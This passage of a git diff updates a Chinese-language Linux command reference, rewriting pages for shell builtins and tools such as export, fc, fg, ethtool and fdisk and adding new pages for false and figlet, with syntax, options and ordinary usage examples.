+经过我验证`-p`选项是否使用好像没有区别,可以比较```enable -p|cat -A```和```enable|cat -A``` 有什么区别。(注:`cat -A`用于显示不可见字符) + +Q:是否可以禁用`enable`自己?之后还能禁用或启用内建命令吗? + +A:可以;不能。 + +### 注意 + +> linux shell命令执行时,shell总是先在自己的shell builtin中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量`$PATH`指定的路径中依次去查找待执行的命令。看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是,有了`enable`命令我们就能做到了。 + +1. 关于同名命令调用的优先级的知识,请先参考`builtin`命令的*提示*部分,然后继续阅读下面部分; + + 当内建命令`echo`没有禁用时,如果要调用外部命令`echo`,只能这样写`/usr/bin/echo`; + + 当我们禁用了`echo`后,优先级顺序变成了这样: + + 函数 > 外部命令 + + 如果执行命令的环境没有`echo`函数,那么调用的`echo`就是外部命令。 + +2. 该命令是bash内建命令,相关的帮助信息请查看 `help` 命令。 + - \ No newline at end of file diff --git a/command/env.md b/command/env.md index 27caaf9c984..d6221e2a774 100644 --- a/command/env.md +++ b/command/env.md @@ -9,25 +9,25 @@ env 如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。 -### 语法 +### 语法 ```shell env(选项)(参数) ``` -### 选项 +### 选项 ```shell -i:开始一个新的空的环境; -u<变量名>:从当前环境中删除指定的变量。 ``` -### 参数 +### 参数 * 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”; * 指定:指定要执行的指令和参数。 -### 实例 +### 实例 ```shell [root@localhost ~]# env @@ -54,4 +54,3 @@ _=/bin/env ``` - \ No newline at end of file diff --git a/command/ethtool.md b/command/ethtool.md index 0751bf5de06..9692706d49a 100644 --- a/command/ethtool.md +++ b/command/ethtool.md @@ -7,7 +7,7 @@ ethtool ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。 -### 语法 +### 语法 ```shell ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX @@ -23,7 +23,7 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port [wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N] ``` -### 选项 +### 选项 ```shell -a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。 @@ -45,7 +45,7 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port -s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。 ``` -### 数据来源 +### 数据来源 Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为: @@ -53,155 +53,30 @@ Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路 网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示: - +| 命令选项 | struct ethtool\_ops成员函数 | Ethtool命令显示参数的来源(以网卡驱动BNX2为例) | +| ----- | ----- | ----- | +| 无 -s | get\_settingsget\_wol get\_msglevel get\_link set\_settings set\_wol set\_msglevel | 从网卡寄存器中获得网卡速度等信息,可配置。 | +| -a -A | get\_pauseparam set\_pauseparam | 从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。 | +| -c -C | get\_coalesceset\_coalesce | 从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs\&rx-frames同时被设为0时,RX中断停止。 当tx-usecs\&tx-frames同时被设为0时,TX中断停止。 | +| -g -G | get\_ringparam set\_ringparam | 除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。 | +| -k -K | get\_rx\_csumget\_tx\_csum get\_sg get\_tso set\_rx\_csum set\_tx\_csum set\_sg set\_tso | 显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。 | +| -i | get\_drvinfo\[self\_test\_count, get\_stats\_coun,t get\_regs\_len, get\_eeprom\_len] | 网卡bnx2自己固定的信息,如: ——————driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 ———————————– | +| -d | get\_drvinfoget\_regs | 不支持,即bnx2中没有实现函数get\_regs。 | +| -e -E | get\_eepromset\_eeprom | 不支持,即bnx2中没有实现函数get\_eeprom。 | +| -r | nway\_reset | 配置网卡MII\_BMCR寄存器,重启Auto negotiation模块。 | +| -p | phys\_id | 配置网卡BNX2\_EMAC\_LED寄存器,实现LED闪功能。 | +| -t | self\_test | 通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。 | +| -S | get\_ethtool\_stats | 显示信息来源于网卡驱动中的结构体变量stats\_blk。(网卡通过DMA方式,将寄存器BNX2\_HC\_STATISTICS \_ADDR\_L和BNX2\_HC\_STATISTICS\_ADDR\_H中的数据实时地读取到结构体变量struct statistics\_block \*stats\_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。 | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令选项struct ethtool_ops成员函数Ethtool命令显示参数的来源(以网卡驱动BNX2为例)
无 -sget_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel从网卡寄存器中获得网卡速度等信息,可配置。
-a -Aget_pauseparam set_pauseparam从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。
-c -Cget_coalesceset_coalesce从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。
-g -Gget_ringparam set_ringparam除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。
-k -Kget_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。
-iget_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]网卡bnx2自己固定的信息,如: -——————————————————– -driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 -——————————————————–
-dget_drvinfoget_regs不支持,即bnx2中没有实现函数get_regs。
-e -Eget_eepromset_eeprom不支持,即bnx2中没有实现函数get_eeprom。
-rnway_reset配置网卡MII_BMCR寄存器,重启Auto negotiation模块。
-pphys_id配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。
-tself_test通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。
-Sget_ethtool_stats显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。
由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。   -### 实例 +### 实例 查看机器上网卡的速度:百兆还是千兆,请输入: ```shell -ethool eth0 +ethtool eth0 ``` 操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入: @@ -241,4 +116,3 @@ ethtool -s eth0 speed 100 ``` - \ No newline at end of file diff --git a/command/ex.md b/command/ex.md index 05a443a3d3a..8b92b232a7e 100644 --- a/command/ex.md +++ b/command/ex.md @@ -7,15 +7,14 @@ ex 在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可。 -### 语法 +### 语法 ```shell ex(参数) ``` -### 参数 +### 参数 文件:指定待编辑的文件。 - \ No newline at end of file diff --git a/command/exec.md b/command/exec.md index e861f0a9169..798834ad288 100644 --- a/command/exec.md +++ b/command/exec.md @@ -7,23 +7,23 @@ exec **exec命令** 用于调用并执行指令的命令。exec命令通常用在shell脚本程序中,可以调用其他的命令。如果在当前终端中使用命令,则当指定的命令执行完毕后会立即退出终端。 -### 语法 +### 语法 ```shell exec(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:在空环境中执行指定的命令。 ``` -### 参数 +### 参数 指令:要执行的指令和相应的参数。 -### 实例 +### 实例 首先使用echo命令将文本“Linux C++”进行输出,输入如下命令: @@ -52,4 +52,3 @@ Linux C++ # 使用指定指令输出信息 通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功。 - \ No newline at end of file diff --git a/command/exit.md b/command/exit.md index a168d764e82..7c48de8b314 100644 --- a/command/exit.md +++ b/command/exit.md @@ -1,23 +1,27 @@ exit === -退出当前的shell +退出当前的shell。 -## 补充说明 - -**exit命令** 同于退出shell,并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数,则shell以预设值退出。状态值0代表执行成功,其他值代表执行失败。 - -### 语法 +## 概要 ```shell -exit(参数) +exit [n] ``` -### 参数 +## 主要用途 + +- 执行exit可使shell以指定的状态值退出。若不设置参数,则以最后一条命令的返回值作为exit的返回值退出。 + +## 参数 + +n(可选):指定的shell返回值(整数)。 + +## 返回值 -返回值:指定shell返回值。 +返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。 -### 实例 +## 例子 退出当前shell: @@ -26,6 +30,15 @@ exit(参数) logout ``` +也可以使用`ctrl+d`退出当前终端,下面列出了打开或关闭该功能的方法: + +```shell +# 打开ctrl+d退出终端 +set -o ignoreeof +# 关闭ctrl+d退出终端 +set +o ignoreeof +``` + 在脚本中,进入脚本所在目录,否则退出: ```shell @@ -57,5 +70,8 @@ if [ "$EXCODE" == "0" ]; then fi ``` +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + - \ No newline at end of file diff --git a/command/expand.md b/command/expand.md index 45ba5f716de..4b3498ccecd 100644 --- a/command/expand.md +++ b/command/expand.md @@ -7,21 +7,20 @@ expand **expand命令** 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。 -### 语法 +### 语法 ```shell expand(选项)(参数) ``` -### 选项 +### 选项 ```shell -t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。 ``` -### 参数 +### 参数 文件:指定要转换制表符为空白的文件。 - \ No newline at end of file diff --git a/command/export.md b/command/export.md index a27847d66ee..a6a6f3cbd1e 100644 --- a/command/export.md +++ b/command/export.md @@ -1,33 +1,157 @@ export === -设置或显示系统环境变量 +为shell变量或函数设置导出属性。 -## 补充说明 +## 概要 -**export命令** 用于将shell变量输出为环境变量,或者将shell函数输出为环境变量。 +``` +export [-fn] [name[=word]]... +export -p +``` + +## 主要用途 + +- 定义一到多个变量并设置导出属性。 +- 修改一到多个变量的值并设置导出属性。 +- 删除一到多个变量的导出属性。 +- 显示全部拥有导出属性的变量。 +- 为一到多个已定义函数新增导出属性。 +- 删除一到多个函数的导出属性。 +- 显示全部拥有导出属性的函数。 + +## 选项 + +```shell +-f:指向函数。 +-n:删除变量的导出属性。 +-p:显示全部拥有导出属性的变量。 +-pf:显示全部拥有导出属性的函数。 +-nf:删除函数的导出属性。 +--:在它之后的选项无效。 +``` + +## 参数 + +name(可选):变量名或已定义函数名。 + +value(可选):变量的值。 + +### 返回值 -一个变量创建时,它不会自动地为在它之后创建的shell进程所知。而命令export可以向后面的shell传递变量的值。当一个shell脚本调用并执 行时,它不会自动得到原为脚本(调用者)里定义的变量的访问权,除非这些变量已经被显式地设置为可用。export命令可以用于传递一个或多个变量的值到任何后继脚本。 +export返回true除非你提供了非法选项或非法名称。 -### 语法 +## 例子 ```shell -export(选项)(参数) +# 显示全部拥有导出属性的变量。 +# export -p +# export +# 显示全部拥有导出属性的函数。 +# export -pf ``` -### 选项 +```shell +# 首先删除要演示的变量名 +#unset a b +# 定义变量的同时增加导出属性 +export a b=3 +# 当然也可以先定义后增加导出属性 +b=3 +export b + +# 修改拥有导出属性的变量的值 +export a=5 b=7 +# 当然也可以直接赋值修改 +a=5;b=7 + +# 删除变量的导出属性 +export -n a b +``` + + +```shell +# 首先删除要演示的函数名 +unset func_1 func_2 +# 创建函数 +function func_1(){ echo '123'; } +function func_2(){ echo '890'; } + +# 为已定义函数增加导出属性 +export -f func_1 func_2 + +# 删除函数的导出属性 +export -fn a b +``` ```shell --f:代表[变量名称]中为函数名称; --n:删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中; --p:列出所有的shell赋予程序的环境变量。 +# 添加环境变量(JAVA)到`~/.bashrc` +PATH=/usr/local/jdk1.7.0/bin:$PATH +# 添加当前位置到动态库环境变量 +export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH} ``` -### 参数 +## 错误用法 + +- 对未定义的函数添加导出属性。 +- 对没有导出属性的函数/变量执行删除导出属性操作。 +- 在 `--` 后使用选项。 + +## Q&A -变量:指定要输出或者删除的环境变量。 +#### Q:对变量或函数设置导出属性有什么用? -### 实例 +A:它们会成为环境变量,可以在脚本中访问它们,尤其是脚本中调用的子进程需要时。( **[参考链接4][4]** ) + +#### Q:如果我编写的脚本修改了已有的环境变量的值,那么执行它会在当前终端生效吗?会影响之前以及之后打开的终端吗? + +A:只有通过`source`方式调用的脚本会生效,您可以查看`source`命令获得更多信息;其他方式只是在子shell中执行。 +之前的不会影响,之后的除非是修改了`~/.bashrc`这种启动终端时加载的脚本。( **[参考链接1][1]** ) + +#### Q:我脚本文件中调用`~/.bashrc`中定义的函数和变量。为什么在新打开的终端中通过 `sh` 方式调用该脚本或直接运行 + +这个当前用户有执行权限的脚本却不能使用这些函数和变量? +A:请在`~/.bashrc`文件中增加export它们的语句。另请参阅 **知识点** 段落。 + +#### Q:数组和关联数组也可以设置导出属性吗? + +A:是可以的(如果你的bash支持它们),不过有些问题( **[参考链接2][2]** )。 + +#### Q:为什么我在查看变量或函数导出属性的时候显示的开头是`declare`? + +A:因为`declare`也能够设置变量或函数的导出属性,详见`declare`命令。 + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +### 知识点 + +在`info bash`或 [bash在线文档](http://www.gnu.org/software/bash/manual/bash.html) 的 + `3.7.3`节提到了shell执行环境,其中涉及变量和函数的内容如下 + +> - shell parameters that are set by variable assignment or with set or inherited from the shell’s parent in the environment +> - shell functions defined during execution or inherited from the shell’s parent in the environment + +那么第一句话中的参数又和变量有什么关系呢?在`3.4`节第一段中提到: + +> A variable is a parameter denoted by a name. + +变量是有名字的参数。 + +那么子shell确实继承了父shell中带有导出属性的变量或函数。 + +可参考链接: [执行脚本方式的区别](https://blog.csdn.net/soaringlee_fighting/article/details/78759448) + + +### 参考链接 + +1. [关于bashrc profile文件的讨论][1] +2. [关于export数组的讨论][2] +3. [export -pf用法][3] +4. [环境变量和shell变量的区别][4] + +### 扩展阅读 一般来说,配置交叉编译工具链的时候需要指定编译工具的路径,此时就需要设置环境变量。查看已经存在的环境变量: @@ -55,5 +179,9 @@ declare -x TERM="linux" declare -x USER="root" ``` +[1]: https://www.cnblogs.com/hongzg1982/articles/2101792.html +[2]: https://stackoverflow.com/questions/5564418/exporting-an-array-in-bash-script +[3]: https://unix.stackexchange.com/questions/22796/can-i-export-functions-in-bash +[4]: https://askubuntu.com/questions/26318/environment-variable-vs-shell-variable-whats-the-difference + - \ No newline at end of file diff --git a/command/exportfs.md b/command/exportfs.md index e99ec2e64a6..0ba823a4b40 100644 --- a/command/exportfs.md +++ b/command/exportfs.md @@ -20,4 +20,3 @@ exportfs 命令用来管理当前NFS共享的文件系统列表。 ``` - \ No newline at end of file diff --git a/command/expr.md b/command/expr.md index df5e7313f11..78cf62d9a70 100644 --- a/command/expr.md +++ b/command/expr.md @@ -13,26 +13,26 @@ expr的常用运算符: - 减法运算:`-` - 乘法运算:`\*` - 除法运算:`/` -- 求摸(取余)运算:`%` +- 取模(取余)运算:`%` -### 语法 +### 语法 ```shell expr(选项)(参数) ``` -### 选项 +### 选项 ```shell --help:显示指令的帮助信息; --version:显示指令版本信息。 ``` -### 参数 +### 参数 表达式:要求值的表达式。 -### 实例 +### 实例 ```shell result=`expr 2 + 3` @@ -40,4 +40,3 @@ result=$(expr $no1 + 5) ``` - \ No newline at end of file diff --git a/command/false.md b/command/false.md new file mode 100644 index 00000000000..7a22bfb6d56 --- /dev/null +++ b/command/false.md @@ -0,0 +1,26 @@ +false +=== + +返回状态为失败。 + +## 概要 + +```shell +false +``` + +## 主要用途 + +- 用于和其他命令进行逻辑运算。 + +## 返回值 + +返回状态总是失败;返回值为1。 + + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/fc.md b/command/fc.md index ef3d6ce97e0..d912c7c4c98 100644 --- a/command/fc.md +++ b/command/fc.md @@ -1,38 +1,56 @@ fc === -修改历史命令并执行 +显示历史列表中的命令或修改指定的历史命令并执行。 -## 补充说明 - -**fc命令** 自动掉用vi编辑器修改已有历史命令,当保存时立即执行修改后的命令,也可以用来显示历史命令。fc命令编辑历史命令时,会自动调用vi编辑器。fc保存文件后,会自动执行所编辑过的命令。 - -### 语法 +## 概要 ```shell -fc [-e 编辑器名] [-lnr] [起始] [终结] -fc -s [模式=替换串] [命令] +fc [-e ename] [-lnr] [first] [last] +fc -s [pat=rep] [command] ``` -### 选项 +## 主要用途 + +- 显示历史列表中的命令。 + +- 编辑并重新执行历史列表的命令。 + +## 选项 ```shell --l:显示历史命令; --n:显示历史命令时,不显示编号; --r:反序显示历史命令。 +-e ename 选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR`、`vi`。 +-l 列出而不是编辑。 +-n 列出时不输出行号(需配合-l选项)。 +-r 倒序列出命令,最近执行的先列出(需配合-l选项)。 +-s [pat=rep] [command] command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。 ``` -### 参数 +## 参数 + +first:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为前一个命令并且偏移量为-16(最近的16条命令)。 + +last:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为参数first。 + +## 返回值 -* 起始指令编号:指定要编辑的起始指令编号; -* 结尾指令编号:指定要编辑的结尾指令编号。 +返回成功或执行命令的状态,当错误出现时返回非0值。 -### 实例 +## 例子 -使用该指令显示最近使用的10条历史命令,输入如下命令: +替换命令参数: ```shell -[root@localhost ~]# fc -l -10 #显示10条历史命令 +# 列出 ~ 目录 +ls ~ +# 替换 ~ 为 / ,替换后列出根目录, +fc -s ~=/ +``` + +显示最近使用的10条历史命令: + +```shell +[root@localhost ~]# fc -l -10 1039 type -a grep 1040 export 1041 history 10 @@ -45,13 +63,18 @@ fc -s [模式=替换串] [命令] 1048 showkey -a ``` -第一列信息是历史命令的编号,第二列信息是历史命令的具体格式。若用户需要编辑第1040条历史命令时,则输入如下命令: +编辑第1040条历史命令: ```shell -fc 1040 #编辑第1040条历史命令 +[root@localhost ~]# fc 1040 ``` -命令执行成功后,将自动调用vi编辑器编辑指定的命令,编辑完成后保存,会自动执行修改后的命令。当用户在vi编辑器中修改指令并保存后,被修改的命令会被自动调用并执行。 + +### 注意 + +1. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。 +2. 环境变量`FCEDIT`的值为`fc`默认的编辑器。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + - diff --git a/command/fdisk.md b/command/fdisk.md index c42e63fcdbe..ca678e90394 100644 --- a/command/fdisk.md +++ b/command/fdisk.md @@ -7,30 +7,47 @@ fdisk **fdisk命令** 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOS fdisk的cfdisk互动式操作界面,因此在使用上较为不便,但功能却丝毫不打折扣。 -### 语法 +### 语法 ```shell -fdisk(选项)(参数) +fdisk [选项] <磁盘> 更改分区表 +fdisk [选项] -l [<磁盘>...] 列出分区表 ``` -### 选项 +### 选项 ```shell - -b <大小> 扇区大小(512、1024、2048或4096) - -c[=<模式>] 兼容模式:“dos”或“nondos”(默认) - -h 打印此帮助文本 - -u[=<单位>] 显示单位:“cylinders”(柱面)或“sectors”(扇区,默认) - -v 打印程序版本 - -C <数字> 指定柱面数 - -H <数字> 指定磁头数 - -S <数字> 指定每个磁道的扇区数 + +选项: + -b, --sectors-size <大小> 显示扇区计数和大小 + -B, --protect-boot 创建新标签时不要擦除 bootbits + -c, --compatibility[=<模式>] 模式,为“dos”或“nondos”(默认) + -L, --color[=<时机>] 彩色输出(auto, always 或 never)默认启用颜色 + -l, --list 显示分区并退出 + -x, --list-details 类似 --list 但提供更多细节 + -n, --noauto-pt 不要在空设备上创建默认分区表 + -o, --output <列表> 输出列 + -t, --type <类型> 只识别指定的分区表类型 + -u, --units[=<单位>] 显示单位,“cylinders”柱面或“sectors”扇区(默认) + -s, --getsz 以 512-字节扇区显示设备大小[已废弃] + -b, --bytes 以字节为单位而非易读的格式来打印 SIZE + --lock[=<模式>] 使用独占设备锁(yes、no 或 nonblock) + -w, --wipe <模式> 擦除签名(auto, always 或 never) + -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never) + + -C, --cylinders <数字> 指定柱面数 + -H, --heads <数字> 指定磁头数 + -S, --sectors <数字> 指定每条磁道的扇区数 + + -h, --help 显示此帮助 + -V, --version 显示版本 ``` -### 参数 +### 参数 设备文件:指定要进行分区或者显示分区的硬盘设备文件。 -### 实例 +### 实例 首先选择要进行操作的磁盘: @@ -318,4 +335,4 @@ proc /proc proc defaults 0 0 ``` - + diff --git a/command/fg.md b/command/fg.md index 80203158269..df4757627ef 100644 --- a/command/fg.md +++ b/command/fg.md @@ -1,37 +1,48 @@ fg === -将后台作业放到前台终端运行 +将后台作业移动到前台终端运行 -## 补充说明 +## 概要 -**fg命令** 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号。 +```shell +fg [job_spec ...] +``` -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +## 主要用途 -### 语法 +- 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。 -```shell -fg(参数) -``` +- 若后台任务中只有一个,则使用该命令时可以省略任务号。 + +## 参数 -### 参数 +job_spec(可选):指定要移动到前台执行的作业标识符,可以是一到多个。 -作业标识:指定要放到前台的作业标识号。 +## 返回值 -### 实例 +返回作业的执行状态,如果发生了错误返回失败。 -使用fg命令将任务号为1的任务从后台执行转换到前台执行,输入如下命令: +## 例子 ```shell -fg 1 #将任务转换到前台执行 -``` +# 运行sleep命令,然后按下ctrl+z。 +sleep 60 +^Z +[1]+ Stopped sleep 60 -执行上面的命令后,命令行窗口将显示如下信息: +# 使用fg命令使得作业在前台运行。 +fg %1 -```shell -find / -name password #前台执行命令 +# 返回信息: +sleep 60 ``` +### 注意 + +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + - \ No newline at end of file diff --git a/command/fgrep.md b/command/fgrep.md index 73cf13aac2c..15bb38859c7 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -9,21 +9,21 @@ fgrep fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。 -1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 -2. 每行限制在 2048 个字节。 -3. 段落(-p 标志下)目前限制在5000个字符的长度。 -4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。 -5. 输入行不能包含空字符。 -6. 输入文件应该以换行字符结尾。 -7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。 +1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 +2. 每行限制在 2048 个字节。 +3. 段落(-p 标志下)目前限制在5000个字符的长度。 +4. 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。 +5. 输入行不能包含空字符。 +6. 输入文件应该以换行字符结尾。 +7. 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。 -### 语法 +### 语法 ```shell fgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 @@ -51,7 +51,7 @@ n:将文件中每行的相对行号置于行前。 >1 发现语法错误,或者文件不可访问(即使找到了匹配项)。 ``` -### 实例 +### 实例 **搜索几个文件中的一个简单字符串:** @@ -84,4 +84,3 @@ fgrep -l strcpy *.c 搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。 - \ No newline at end of file diff --git a/command/figlet.md b/command/figlet.md new file mode 100644 index 00000000000..00934f2c03b --- /dev/null +++ b/command/figlet.md @@ -0,0 +1,160 @@ +figlet +=== + +字符串转为 “字画符”。 + +## 补充说明 + +将普通字符串转为有简单字符拼接而成的 “字画符”。 + +## 安装 + +Ubuntu 等系统 + +```shell +apt-get update +apt-get install -y figlet +``` + +CentOS 等系统 + +```shell +yum install epel-release +yum install -y figlet +``` + +## 语法 + +```shell +figlet [ message ] [ -option ] +``` + +## 参数 + +message 是需要转换的字符串。 +当没有输入 message 时,会读取标准输入,因此可以配合管道符等使用。 + +## 选项 + +```shell +-w 限制输出宽度,默认为 '80' +-c 居中显示 +-f 指定字体,默认为 'standard' +-k 保留字符之间的空隙 +-t 对齐宽度到当前终端的宽度,这个参数优先级比 -w 高 +-v 显示版本信息 +``` + +## 返回值 + +字符串,由简单字符拼接而成的 “字画符”。 + +## 示例 + +### 从参数输入 + +```shell +figlet 'Hello, World!' +``` + +```bash + _ _ _ _ __ __ _ _ _ +| | | | ___| | | ___ \ \ / /__ _ __| | __| | | +| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | | +| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_| +|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_) +``` + +### 配合管道符输入 + +```shell +echo 'Hello, World!' | figlet +``` + +```bash + _ _ _ _ __ __ _ _ _ +| | | | ___| | | ___ \ \ / /__ _ __| | __| | | +| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | | +| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_| +|_| |_|\___|_|_|\___( ) \_/\_/ \___/|_| |_|\__,_(_) +``` + +### 限制宽度 + +```shell +figlet 'Hello, World!' -w 40 +``` + +```bash + _ _ _ _ +| | | | ___| | | ___ +| |_| |/ _ \ | |/ _ \ +| _ | __/ | | (_) | +|_| |_|\___|_|_|\___( ) + |/ +__ __ _ _ _ +\ \ / /__ _ __| | __| | | + \ \ /\ / / _ \| '__| |/ _` | | + \ V V / (_) | | | | (_| |_| + \_/\_/ \___/|_| |_|\__,_(_) +``` + +### 居中显示 + +```shell +figlet 'Hello, World!' -w 40 -c +``` + +```bash + _ _ _ _ + | | | | ___| | | ___ + | |_| |/ _ \ | |/ _ \ + | _ | __/ | | (_) | + |_| |_|\___|_|_|\___( ) + |/ + __ __ _ _ _ + \ \ / /__ _ __| | __| | | + \ \ /\ / / _ \| '__| |/ _` | | + \ V V / (_) | | | | (_| |_| + \_/\_/ \___/|_| |_|\__,_(_) +``` + +### 指定字体 + +```shell +figlet 'Hello, World!' -w 40 -c -f slant +``` + +```bash + __ __ ____ + / / / /__ / / /___ + / /_/ / _ \/ / / __ \ + / __ / __/ / / /_/ / + /_/ /_/\___/_/_/\____( ) + |/ + _ __ __ ____ + | | / /___ _____/ /___/ / / + | | /| / / __ \/ ___/ / __ / / + | |/ |/ / /_/ / / / / /_/ /_/ + |__/|__/\____/_/ /_/\__,_(_) +``` + +### 保留字符之间的空隙 + +```shell +figlet 'Hello, World!' -w 40 -c -k +``` + +```bash + _ _ _ _ + | | | | ___ | || | ___ + | |_| | / _ \| || | / _ \ + | _ || __/| || || (_) |_ + |_| |_| \___||_||_| \___/( ) + |/ + __ __ _ _ _ + \ \ / /___ _ __ | | __| || | + \ \ /\ / // _ \ | '__|| | / _` || | 